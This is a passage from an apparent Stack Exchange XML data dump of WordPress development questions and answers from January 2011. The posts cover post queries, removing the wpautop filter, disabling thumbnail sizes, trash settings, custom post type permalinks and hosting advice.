); ?&amp;gt;&#xA;   &amp;lt;h2&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/h2&amp;gt;&#xA;   &amp;lt;?php the_content(); ?&amp;gt;&#xA;    &amp;lt;?php comments_popup_link( __( 'Leave a comment', 'twentyten' ), __( '1 Comment', 'twentyten' ), __( '% Comments', 'twentyten' ) ); ?&amp;gt;&#xA;  &amp;lt;?php endforeach; ?&amp;gt;&#xA;&amp;lt;?php wp_reset_query(); ?&amp;gt; &amp;lt;/div&amp;gt;&amp;lt;!-- .container --&amp;gt;&#xA;&amp;lt;/div&amp;gt;&amp;lt;!-- #content-bottom --&amp;gt;&#xA;&amp;lt;?php get_footer(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="781" LastEditorUserId="781" LastEditorDisplayName="" LastEditDate="2011-01-25T17:39:27.353" LastActivityDate="2011-01-25T20:21:32.020" Title="Displaying the blog entries in a Page (using get_posts to retrieve the posts)?" Tags="&lt;page&gt;&lt;blog&gt;" AnswerCount="1" />
  <row Id="7740" PostTypeId="2" ParentId="7737" CreationDate="2011-01-25T18:07:50.767" Score="1" ViewCount="" Body="&lt;p&gt;No.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;WordPress very forcefully converts input of that argument to integers and is it part of &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.0.4/wp-includes/query.php#L1908&quot; rel=&quot;nofollow&quot;&gt;sub-query from tables that don't actually contain category names&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might be able to construct your own analogue using &lt;code&gt;posts_where&lt;/code&gt; filter to modify SQL... But I think if you don't need a lot of categories to exclude it would be way more practical to simply convert names to IDs before querying.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-01-25T18:07:50.767" />
  <row Id="7741" PostTypeId="1" AcceptedAnswerId="7750" CreationDate="2011-01-25T18:17:57.587" Score="0" ViewCount="147" Body="&lt;p&gt;&lt;code&gt;the_content&lt;/code&gt; is always surrounded by paragraphs, it doesn't matter if I'm in HTML view and there's nothing there. Does WordPress have a function to remove them? IS there any way?&lt;/p&gt;&#xA;" OwnerUserId="781" LastActivityDate="2011-01-25T18:49:01.370" Title="the_content is always surrounded by paragraphs (how to disable or remove them)?" Tags="&lt;the-content&gt;" AnswerCount="2" />
  <row Id="7743" PostTypeId="2" ParentId="7736" CreationDate="2011-01-25T18:19:04.963" Score="0" ViewCount="" Body="&lt;p&gt;My guess is - yes, you are stuck with exactly that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Checks for &lt;code&gt;EMPTY_TRASH_DAYS&lt;/code&gt; seem to be hardcoded as condition for switching interface between trash and delete in several places.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-01-25T18:19:04.963" CommentCount="3" />
  <row Id="7744" PostTypeId="2" ParentId="7737" CreationDate="2011-01-25T18:22:58.710" Score="2" ViewCount="" Body="&lt;p&gt;You can use &lt;a href=&quot;http://wordpress.org/extend/plugins/list-category-posts/&quot; rel=&quot;nofollow&quot;&gt;List Category Posts&lt;/a&gt; (Disclaimer: I'm the author of List Category Posts) or you can code this yourself:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$category_id = get_cat_ID($category_name);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This way you can get the id and exclude it from the loop with the minus sign. Example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;get_posts(cat=-1);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="298" LastActivityDate="2011-01-25T18:22:58.710" />
  <row Id="7745" PostTypeId="1" CreationDate="2011-01-25T18:24:28.193" Score="0" ViewCount="134" Body="&lt;p&gt;Okay, I just did a very thorough search and I can't find an issue like this anywhere.. If this happens to be a duplicate which I doubt it will be, please just point me in the direction of the question. I find it both sad and dreary that no one else has had this issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So for the website I'm designing I'm using the login plugin Simple Modal Janrain Engage, this really takes the following three plugins working together for it to work:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;SimpleModal Login &lt;/li&gt;&#xA;&lt;li&gt;Janrain Engage&lt;/li&gt;&#xA;&lt;li&gt;SimpleModal Janrain Engage&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The style and ease of using these plugins is very attractive and therefore, once the client saw it he won't be happy with anything else. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For some reason, new users aren't being properly signed in. They go through the whole process only to be dumped back to the homepage as non-registered users. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please give it a try here: &lt;a href=&quot;http://www.advertisingagency.me/wheresthefairness/&quot; rel=&quot;nofollow&quot;&gt;http://www.advertisingagency.me/wheresthefairness/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The real kicker is that I can login fine with my facebook account, but no one else can. I'm not sure why. I've been developing the site from the start, obviously so maybe my account has been flagged in someway as safe? I have no idea. But this is a pretty problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There were some issues with file permissions when we transferred the website over, but those should be fixed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone shed any light on what might be causing this issue?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just want to say thank you to the people who have helped me already. I know I've been asking a lot of questions and I don't want to be annoying. I just got thrown into a huge WP project dealing with mostly the back-end code, when I'm a front-end designer. &lt;/p&gt;&#xA;" OwnerUserId="2479" LastActivityDate="2011-01-25T18:24:28.193" Title="Facebook Connect / Janrain Engage issues" Tags="&lt;plugins&gt;&lt;facebook&gt;" FavoriteCount="1" />
  <row Id="7746" PostTypeId="2" ParentId="7687" CreationDate="2011-01-25T18:25:23.207" Score="0" ViewCount="" Body="&lt;p&gt;Based on @Jan Fabry reply I've change the syntax a bit. It works well. Thanks Jan for the explanation!!!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'pre_get_posts', 'wpse7687_pre_get_posts' );&#xA;function wpse7687_pre_get_posts( &amp;amp;$wp_query ) {&#xA;  if ($wp_query-&amp;gt;query_vars['category_name'] == 'latest-news'){&#xA;    $wp_query-&amp;gt;query_vars['posts_per_page'] = 4;&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1343" LastActivityDate="2011-01-25T18:25:23.207" CommentCount="0" />
  <row Id="7747" PostTypeId="2" ParentId="7741" CreationDate="2011-01-25T18:28:09.063" Score="1" ViewCount="" Body="&lt;p&gt;You can implement your own function in your theme's function.php file and use it instead of &quot;the_content&quot;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_content($post){&#xA;    $content = apply_filters('the_content', $post-&amp;gt;post_content); // added to parse shortcodes&#xA;    $content = str_replace(']]&amp;gt;', ']]&amp;amp;gt', $content); // added to parse shortcodes&#xA;    echo content;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="298" LastActivityDate="2011-01-25T18:28:09.063" />
  <row Id="7748" PostTypeId="2" ParentId="5952" CreationDate="2011-01-25T18:30:02.493" Score="1" ViewCount="" Body="&lt;p&gt;You can create your own captchas from your own images with &quot;Personal Captcha&quot; of KeyCAPTCHA  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.keycaptcha.com/whatisit/?s=pc&quot; rel=&quot;nofollow&quot;&gt;https://www.keycaptcha.com/whatisit/?s=pc&lt;/a&gt;  &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;For subscribers of such service there is online designer  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The basic service is free but possibility of creating your own captchas is fee-based (5 USD a months, 20 a year)&lt;/p&gt;&#xA;" OwnerUserId="2681" LastEditorUserId="2681" LastEditorDisplayName="" LastEditDate="2011-01-25T18:40:44.280" LastActivityDate="2011-01-25T18:40:44.280" />
  <row Id="7749" PostTypeId="2" ParentId="7724" CreationDate="2011-01-25T18:44:17.803" Score="2" ViewCount="" Body="&lt;p&gt;I believe the following should stop thumbnails from being created. If you're wanting to remove some then and unset the $size[{size}]. Following sizes are there &quot;thumbnail&quot;,&quot;medium&quot;,&quot;large&quot;,&quot;post-thumbnail&quot;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('intermediate_image_sizes_advanced','stop_thumbs');&#xA;function stop_thumbs($sizes){&#xA;      return array();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2596" LastActivityDate="2011-01-25T18:44:17.803" CommentCount="4" />
  <row Id="7750" PostTypeId="2" ParentId="7741" CreationDate="2011-01-25T18:49:01.370" Score="4" ViewCount="" Body="&lt;p&gt;Removing the filter that adds the P is the best option.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;remove_filter('the_content','wpautop');&#xA;remove_filter('the_content','shortcode_autounp'); // You may want to do this aswell&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2596" LastActivityDate="2011-01-25T18:49:01.370" CommentCount="3" />
  <row Id="7751" PostTypeId="2" ParentId="7724" CreationDate="2011-01-25T19:12:51.670" Score="1" ViewCount="" Body="&lt;p&gt;I just realized that I had not enabled the large_size options...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if(get_option('large_size_h')!==0){update_option('large_size_h', 0);}&#xA;if(get_option('large_size_w')!==0){update_option('large_size_w', 0);}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Adding those settings, to my existing settings, effectively stops WP uploader from adding a copy of the image.&lt;/p&gt;&#xA;" OwnerUserId="366" LastActivityDate="2011-01-25T19:12:51.670" />
  <row Id="7752" PostTypeId="2" ParentId="7724" CreationDate="2011-01-25T19:25:33.833" Score="0" ViewCount="" Body="&lt;p&gt;As @t31os said in the comments, you don't need any code to do this. If you're just looking to disable the default sizes, you just need to set them all to &quot;0&quot; in Admin &gt; Settings &gt; Media.&lt;/p&gt;&#xA;" OwnerUserId="1537" LastActivityDate="2011-01-25T19:25:33.833" CommentCount="5" />
  <row Id="7754" PostTypeId="1" AcceptedAnswerId="7787" CreationDate="2011-01-25T19:49:23.610" Score="0" ViewCount="455" Body="&lt;p&gt;Is there an easy way to modifying custom post types in the front end?  Maybe you can direct me to a plugin?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For Example:&#xA;I have a custom post type called &quot;Product&quot;.  The examples I see online shows me how I can perform CRUD on products in the dashboard. But, how can I let a user modify a product in the front end? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do I need to write my own crud code for the front end? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="413" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-01-26T09:31:40.593" LastActivityDate="2011-01-26T20:31:14.533" Title="How to: CRUD for custom post types in the front end?" Tags="&lt;custom-post-types&gt;" AnswerCount="2" />
  <row Id="7755" PostTypeId="2" ParentId="7754" CreationDate="2011-01-25T19:55:22.660" Score="0" ViewCount="" Body="&lt;p&gt;I know plugin &lt;a href=&quot;http://wordpress.org/extend/plugins/front-end-editor/&quot; rel=&quot;nofollow&quot;&gt;Front-end Editor&lt;/a&gt; that allows to edit different things on front-end, but not sure how compatible it is with custom post types.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-01-25T19:55:22.660" CommentCount="1" />
  <row Id="7756" PostTypeId="1" AcceptedAnswerId="7777" CreationDate="2011-01-25T20:01:19.453" Score="0" ViewCount="61" Body="&lt;p&gt;I want to wrap the filter below in a conditional that tests whether the user is uploading an image from the Media Manager (Admin &gt; Media &gt; Add New) and not from the post editor image upload routine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to tell? $pagenow in both cases appears to be the same...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//no extra thumbs&#xA;global $pagenow;&#xA;if($pagenow==&quot;media-new.php&quot;){&#xA;add_filter('intermediate_image_sizes_advanced','ce4_no_thumbs');&#xA;}&#xA;function ce4_no_thumbs($sizes){return array();}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Update: It does appear that there is a post_id on the querystring when upload is accessed from within a post and not when it is accessed via &quot;media manager &gt; add new&quot;, however, the following test passes in either case...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( is_admin() &amp;amp;&amp;amp; !isset($_GET['post_id']) ) {&#xA;    /*This should not fire if user is uploading an image into a post, &#xA;      since post_id is on the querystring. However, in my test&#xA;      its still getting through.*/&#xA;&#xA;add_filter('intermediate_image_sizes_advanced','ce4_no_thumbs');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="366" LastEditorUserId="366" LastEditorDisplayName="" LastEditDate="2011-01-25T20:19:34.103" LastActivityDate="2011-01-26T00:10:09.020" Title="Is it possible to determine when user is at &quot;Media &gt; Add New&quot; vs &quot;Post &gt; Add an Image&quot;" Tags="&lt;theme-development&gt;&lt;media-library&gt;" AnswerCount="2" />
  <row Id="7757" PostTypeId="1" CreationDate="2011-01-25T20:08:59.113" Score="0" ViewCount="85" Body="&lt;p&gt;When WP creates thumbnails from the original uploaded image, they are hidden from view inside the Media Manager listing. Can they be made visible, via some filter or action so that you can selectively edit/delete them?&lt;/p&gt;&#xA;" OwnerUserId="366" LastEditorUserId="366" LastEditorDisplayName="" LastEditDate="2011-01-25T20:21:35.817" LastActivityDate="2011-08-10T00:21:40.243" Title="How can I view all WP generated thumbnails in Media Manager?" Tags="&lt;plugin-development&gt;&lt;media-library&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="7758" PostTypeId="2" ParentId="2498" CreationDate="2011-01-25T20:16:15.170" Score="1" ViewCount="" Body="&lt;p&gt;I would go with &lt;a href=&quot;http://www.cloudcontrol.com&quot; rel=&quot;nofollow&quot;&gt;cloudcontrol.com&lt;/a&gt;. They are a cloud-hosted PHP host, and they run on top of Amazon EC2. If you have little traffic, you won't pay. If your traffic goes up, they have an auto-scaler which will raise the capacity with traffic and lower it when traffic drops. (Scaling granularity is by the hour, and they charge about $0.05 per hour per extra app server or &quot;box&quot;). I have more notes &lt;a href=&quot;http://blog.cloud-apps-experts.com/search/label/php%20hosting&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;. Also, they have a &lt;a href=&quot;http://www.youtube.com/watch?v=sZ-xADMKL5s&quot; rel=&quot;nofollow&quot;&gt;video on youtube&lt;/a&gt; where you'll get the general idea. &lt;/p&gt;&#xA;" OwnerUserId="2732" LastActivityDate="2011-01-25T20:16:15.170" />
  <row Id="7759" PostTypeId="2" ParentId="7739" CreationDate="2011-01-25T20:21:32.020" Score="1" ViewCount="" Body="&lt;p&gt;Use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/query_posts&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;query_posts()&lt;/code&gt;&lt;/a&gt; instead of &lt;code&gt;get_posts()&lt;/code&gt; and you should be able to use the posts as in the normal loop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit - don't forget to reset the default query with &lt;code&gt;wp_reset_query()&lt;/code&gt; before using &lt;code&gt;query_posts&lt;/code&gt; or I believe the function will again return the page contents.&lt;/p&gt;&#xA;" OwnerUserId="1695" LastActivityDate="2011-01-25T20:21:32.020" CommentCount="2" />
  <row Id="7760" PostTypeId="1" CreationDate="2011-01-25T20:25:46.217" Score="0" ViewCount="334" Body="&lt;p&gt;I have multiple custom post types and custom taxonomies, &quot;staff&quot;, &quot;games&quot;, which have the permalinks:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;domain.com/staff/%staff-name%&#xA;domain.com/games/%game-name%&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, I'm only using these custom posts to store data and am displaying it collectively on different pages.  How do I get the paths, such as, /staff/%staff-name% to redirect to the 404 page?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" LastActivityDate="2011-01-25T21:26:45.977" Title="Remove permalink for custom post type" Tags="&lt;custom-post-types&gt;&lt;permalinks&gt;&lt;slug&gt;" AnswerCount="2" />
  <row Id="7761" PostTypeId="2" ParentId="7736" CreationDate="2011-01-25T20:35:29.910" Score="3" ViewCount="" Body="&lt;p&gt;You can do the following:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Set &lt;code&gt;EMPTY_TRASH_DAYS&lt;/code&gt; to a very high number. E.g.: &lt;code&gt;define( 'EMPTY_TRASH_DAYS', 1000000 );&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Or remove the &lt;code&gt;wp_schedule_delete&lt;/code&gt; action: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_remove_schedule_delete() {&#xA;    remove_action( 'wp_scheduled_delete', 'wp_scheduled_delete' );&#xA;}&#xA;add_action( 'init', 'my_remove_schedule_delete' );&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="473" LastActivityDate="2011-01-25T20:35:29.910" CommentCount="1" />
  <row Id="7762" PostTypeId="2" ParentId="5364" CreationDate="2011-01-25T21:00:21.887" Score="1" ViewCount="" Body="&lt;p&gt;I'm working on a separate, second blog for logged-in users, and I'm using is a number of plugins: Login With Ajax, TDO Mini Forms (providing forms for logged-in users to post drafts with, that the admin then can moderate, or have them post straight away), and Role Scoper (to restrict access to that blog's categories). I've also defined a taxonomy for tags to be used in that separate blog. I've hacked the TDO Mini Forms plugin to only add tags from that taxonomy to posts. And I think I have got it: a simple forum-like solution within WP itself. Would you like code examples?&lt;/p&gt;&#xA;" OwnerUserId="1959" LastActivityDate="2011-01-25T21:00:21.887" />
  <row Id="7763" PostTypeId="2" ParentId="7760" CreationDate="2011-01-25T21:09:13.687" Score="0" ViewCount="" Body="&lt;p&gt;Setting these posts as &quot;private&quot; should do what you want - (unless I misunderstood your question)&lt;/p&gt;&#xA;" OwnerUserId="413" LastActivityDate="2011-01-25T21:09:13.687" />
  <row Id="7764" PostTypeId="2" ParentId="2498" CreationDate="2011-01-25T21:19:49.780" Score="2" ViewCount="" Body="&lt;p&gt;Some important factors when choosing a shared host:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Do a reverse dns for the server ip, this can tell you how many sites are on the server, typically bad hosts jams a server with thousands of web sites, I have seen servers with upwards of 5k sites hosted (guess).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Ask if they limit the accounts/domains per server and specifically what that # is. If  they don't move on to a host that has caps even if your paying 5-20$ more per month.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Ask around about the support system, they must have live 24/7 support and a good ticket system with helpful and fantastic customer service.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Read the fine print! Many hosts say unlimited but this is pure BS. They limit you in file amounts, bandwidth, resources, backups, etc.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Make sure they use industry standards.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2011-01-25T21:19:49.780" />
  <row Id="7765" PostTypeId="2" ParentId="7760" CreationDate="2011-01-25T21:26:45.977" Score="2" ViewCount="" Body="&lt;p&gt;If you set the &quot;rewrite&quot; argument to &quot;false&quot; when registering the custom post type, no rewrite rules will be generated.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-01-25T21:26:45.977" CommentCount="3" />
  <row Id="7766" PostTypeId="1" CreationDate="2011-01-25T21:22:53.693" Score="2" ViewCount="174" Body="&lt;p&gt;I'm wondering if there is a way to implement something like sub-multisites, like parent-child multisite relation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, what i want is a way to have something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/site1&#xA;/site1/subsite1&#xA;/site1/subsite2&#xA;/site2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;etc...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My approach has been use mod-rewrite to change from /site1-subsite1 to /site1/subsite1 meaning that I'm aware of the permanlinks changes, etc...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I will like to know if there is a more cleaner way to achieve this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" LastEditorUserId="3966" LastEditorDisplayName="" LastEditDate="2011-06-15T22:53:51.183" LastActivityDate="2011-08-18T01:26:13.400" Title="Two-level multisites in WordPress" Tags="&lt;multisite&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="2" />
  <row Id="7767" PostTypeId="1" AcceptedAnswerId="7772" CreationDate="2011-01-25T21:47:57.073" Score="0" ViewCount="114" Body="&lt;p&gt;I'm using the following to list my pages:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul id=&quot;nav&quot;&amp;gt;&#xA;   &amp;lt;?php wp_list_pages('title_li='); ?&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;is there a way of highlight the link of the page of the current in the navigation.&#xA;It shouldn't be fixed. The user should be able to call the page whatever he or she wants, and create as much pages as he or she wants (the highlight feature should still work).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions or tutorials?&lt;/p&gt;&#xA;" OwnerUserId="781" LastEditorUserId="781" LastEditorDisplayName="" LastEditDate="2011-01-25T21:54:16.083" LastActivityDate="2011-01-25T22:27:00.303" Title="Current navigation highlight for a menu that may be modified by the user?" Tags="&lt;navigation&gt;" AnswerCount="1" />
  <row Id="7768" PostTypeId="2" ParentId="3461" CreationDate="2011-01-25T21:54:43.123" Score="1" ViewCount="" Body="&lt;p&gt;I just created a plugin called &lt;a href=&quot;http://wordpress.org/extend/plugins/hierarchical-link-categories/&quot; rel=&quot;nofollow&quot;&gt;Hierarchical Link Categories&lt;/a&gt; that enables that functionality. Check it out!&lt;/p&gt;&#xA;" LastActivityDate="2011-01-25T21:54:43.123" />
  <row Id="7769" PostTypeId="1" AcceptedAnswerId="10665" CreationDate="2011-01-25T22:01:15.673" Score="1" ViewCount="400" Body="&lt;p&gt;I would like to create an additional size for uploaded images which my users can then &quot;insert into post&quot;. I understand that add_image_size() will add a new image size which I can use in my theme, but that new size isn't available on the media upload screen. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to get new sizes to appear on that screen so they're available to people as they add/edit posts? I have a tweaky theme that needs more than just the default 3 sizes + original.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="16" LastActivityDate="2011-02-28T06:06:31.823" Title="Add new image size to media uploader so users can insert into post?" Tags="&lt;images&gt;&lt;image-size&gt;&lt;add-image-size&gt;" AnswerCount="3" />
  <row Id="7770" PostTypeId="2" ParentId="7721" CreationDate="2011-01-25T22:05:59.610" Score="0" ViewCount="" Body="&lt;p&gt;Well best option in my opinion is hardcoding the contents of the boxes and just putting the divs in the footer. Hassle if you've got a client wanting to edit via WordPress. Next option is to get the page contents for each of these in the footer for each div. Kinda wasteful. Next option, most likely what you're looking for is adding an action into wp_loaded and handling the request there by hand and then kill the process.&lt;/p&gt;&#xA;" OwnerUserId="2596" LastActivityDate="2011-01-25T22:05:59.610" />
  <row Id="7771" PostTypeId="2" ParentId="7721" CreationDate="2011-01-25T22:19:46.957" Score="2" ViewCount="" Body="&lt;p&gt;I have found that the best way to include WordPress pages into a fancybox is to create a new template to use for those pages.  For example I have some of my contact forms in a fancy box and the template I use is called custom-page-plain.php and doesn't call header.php and contains a link to an alternate style sheet.  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA; /*&#xA; Template Name: plain page&#xA; */&#xA;?&amp;gt;&#xA;&amp;lt;!DOCTYPE html PUBLIC &quot;-//W3C//DTD XHTML 1.0 Transitional//EN&quot;&#xA;  &quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&quot;&amp;gt;&#xA;&amp;lt;html xmlns=&quot;http://www.w3.org/1999/xhtml&quot; xml:lang=&quot;en&quot; lang=&quot;en&quot;&amp;gt;&#xA;&amp;lt;head&amp;gt;&#xA;  &amp;lt;meta http-equiv=&quot;Content-type&quot; content=&quot;text/html; charset=utf-8&quot; /&amp;gt;&#xA;  &amp;lt;meta name=&quot;MSSmartTagsPreventParsing&quot; content=&quot;true&quot; /&amp;gt;&#xA;  &amp;lt;meta http-equiv=&quot;Imagetoolbar&quot; content=&quot;No&quot; /&amp;gt;&#xA;  &amp;lt;title&amp;gt;My Form Title&amp;lt;/title&amp;gt;&#xA;  &amp;lt;link rel=&quot;stylesheet&quot; href=&quot;http://xxxxxxx.com/wp-content/themes/revision3/stylemin2.css?rev=676777&quot; type=&quot;text/css&quot; media=&quot;screen,projection&quot; /&amp;gt;&#xA;  &amp;lt;?php wp_head(); ?&amp;gt;&#xA;  &amp;lt;/head&amp;gt;&#xA;&amp;lt;body&amp;gt;&#xA;  &amp;lt;?php if (have_posts()) : while (have_posts()) : the_post(); ?&amp;gt;&#xA;  &amp;lt;?php the_content('read more'); ?&amp;gt;&#xA;  &amp;lt;?php endwhile; endif; ?&amp;gt;&#xA;  &amp;lt;?php wp_footer(); ?&amp;gt;&#xA;&amp;lt;/body&amp;gt;&#xA;&amp;lt;/html&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can see the template contains the the wp_head and wp_footer calls directly in the template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whenever I want to create a page to go in a fancybox I just choose my plain template then add the fancybox class to the link.&lt;/p&gt;&#xA;" OwnerUserId="251" LastActivityDate="2011-01-25T22:19:46.957" CommentCount="2" />
  <row Id="7772" PostTypeId="2" ParentId="7767" CreationDate="2011-01-25T22:27:00.303" Score="2" ViewCount="" Body="&lt;p&gt;wp_list_pages has support for CSS styles. &#xA;The current page is marked with the class .current_page_item. You can style it as you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_list_pages#Markup_and_styling_of_page_items&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/wp_list_pages#Markup_and_styling_of_page_items&lt;/a&gt;&#xA;for reference.&lt;/p&gt;&#xA;" OwnerUserId="2727" LastActivityDate="2011-01-25T22:27:00.303" />
  <row Id="7773" PostTypeId="1" AcceptedAnswerId="7774" CreationDate="2011-01-25T22:38:06.267" Score="0" ViewCount="158" Body="&lt;p&gt;Is there an existing function or call in which you can pass a category id to determine if the category has child posts?&lt;/p&gt;&#xA;" OwnerUserId="366" LastEditorUserId="366" LastEditorDisplayName="" LastEditDate="2011-01-25T22:47:00.543" LastActivityDate="2011-01-25T23:12:03.343" Title="How to determine if a category is empty?" Tags="&lt;theme-development&gt;" AnswerCount="1" />
  <row Id="7774" PostTypeId="2" ParentId="7773" CreationDate="2011-01-25T23:12:03.343" Score="2" ViewCount="" Body="&lt;p&gt;The &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_term&quot; rel=&quot;nofollow&quot;&gt;get_term() function&lt;/a&gt; accepts a term id and a taxonomy slug. It returns an object that contains a &quot;count&quot; for that term.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$obj_term = get_term(123, 'your-taxonomy-slug');&#xA;echo $term-&amp;gt;count;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm not aware of any utility function that &lt;em&gt;just&lt;/em&gt; counts posts in a particular category.&lt;/p&gt;&#xA;" OwnerUserId="1537" LastActivityDate="2011-01-25T23:12:03.343" CommentCount="3" />
  <row Id="7775" PostTypeId="1" AcceptedAnswerId="7779" CreationDate="2011-01-25T23:19:23.203" Score="1" ViewCount="378" Body="&lt;p&gt;I'm using fetch_feed to display an rss feed on a theme i'm working on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think the documentation implies that you can combine multiple feeds, can anyone confirm this, ideally with an example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&#xA;George&lt;/p&gt;&#xA;" OwnerUserId="1298" LastActivityDate="2011-01-26T16:01:38.583" Title="Combining multiple RSS feeds using fetch_feed" Tags="&lt;fetch-feed&gt;" AnswerCount="1" />
  <row Id="7776" PostTypeId="2" ParentId="7756" CreationDate="2011-01-25T23:58:06.697" Score="0" ViewCount="" Body="&lt;p&gt;Can you try $_GET['post'] instead of using $_GET['post_id']  ? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's the request parameter I see.&lt;/p&gt;&#xA;" OwnerUserId="413" LastActivityDate="2011-01-25T23:58:06.697" />
